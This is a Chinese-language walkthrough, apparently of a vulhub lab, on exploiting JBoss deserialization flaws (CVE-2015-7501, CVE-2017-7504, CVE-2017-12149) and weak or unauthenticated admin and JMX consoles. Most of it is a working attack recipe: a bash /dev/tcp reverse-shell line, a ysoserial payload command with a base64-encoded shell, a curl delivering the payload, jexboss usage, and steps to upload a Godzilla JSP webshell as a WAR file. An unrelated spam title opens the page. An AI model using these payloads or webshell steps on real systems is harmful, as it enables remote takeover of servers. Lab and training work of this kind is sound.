深圳遗像制作_如何设计公司标志图案_hyein seo_百度app 浏览器

CVE-2015-7501

Jboss JMXInvokerServlet 反序列化漏洞，这是经典的JBoss反序列化漏洞，JBoss在/invoker/JMXInvokerServlet请求中读取了⽤户传⼊的对象，然后我们利用Apache Commons Collections中的   Gadget 执⾏任意代码

 访问地址 http://39.105.61.160:8080/invoker/JMXInvokerServlet1.返回如下，说明接⼝开放，此接⼝存在反序列化漏洞

 下载 ysoserial ⼯具进⾏漏洞利⽤

https://github.com/frohoff/ysoserial

 将反弹shell进⾏base64编码

bash -i >& /dev/tcp/39.105.61.160/6666 0>&1

 监听6666端口

使用cmd

 java -jar "C:\Users\23215.呵呵\Documents\WeChat Files\wxid_1jxr0075qqd422\FileStorage\File\2025-03\ysoserial-all.jar" CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNjEuMTYwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}">exp.ser

执行后在当前目录会生成一个exp.ser

再使用curl http://39.105.61.160:8080/invoker/JMXInvokerServlet --data-binary @exp.ser，那么就可以成功监听到端口

CVE-2017-7504

JBossMQ JMS 反序列化漏洞，JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的 HTTPServerILServlet.java⽂件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码执⾏

访问漏洞地址，出现此页面说明存在漏洞

http://39.105.61.160:8080/jbossmq-httpil/HTTPServerILServlet

 在kali中使用jexboss工具

python3 jexboss.py -u http://39.105.61.160:8080

 

拿到shell 

​​​​​​​CVE-2017-12149

JBoss 5.x/6.x反序列化漏洞，该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进⾏任何安全检查的情况下尝试将来⾃客户端的数据流进⾏反序列化，从⽽导致了漏洞

使用jboss反序列化_CVE-2017-12149.jar

 ​​​​​​​Administration Console弱⼝令

Administration Console管理⻚⾯存在弱⼝令，`admin:admin`，登陆后台上传war包 , getshell

 访问漏洞⻚⾯，出现404则存在漏洞

http://39.105.61.160:8080/invoker/readonly

点击Administration console

 使用弱口令登录，admin;vulhub

 点击Web Application (WAR)->Add New Web Application (WAR)

使用哥斯拉生成jsp木马，写入shell.jsp,压缩为shell.zip,将名字改为shell.war 

上传后通过http://39.105.61.160:8080/shell/shell.jsp访问，可使用哥斯拉连接就可以了

​​​​​​​低版本JMX  Console未授权

低版本JMX Console未授权访问Getshell，此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进⼊到   jmx控制台，并在其中执⾏任何功能。

点击JMX Console

使用弱口令登录，admin;admin

 

 登陆后找到jboss.deployment

 点击flavor=URL后找到void addURL()，第一个

将shell.war放到服务器上

 http://39.105.61.160/shell.war

点击Invoke, 出现下图代表成功

使用http://39.105.61.160/shell/shell.jsp就能访问到，之后使用哥斯拉连接 

⾼版本JMX  Console未授权

JMX Console默认存在未授权访问，直接点击JBoss主⻚中的  JMX Console 链接进⼊JMX Console⻚⾯, 通过部署war包 , getshell

点击JMX Console，账号admin;vulhub

 登陆后点击jboss.system->service=MainDeployer

 找到deloy部署http://39.105.61.160/shell.war，点击Invoke

使用http://39.105.61.160/shell/shell.jsp就能访问到，之后使用哥斯拉连接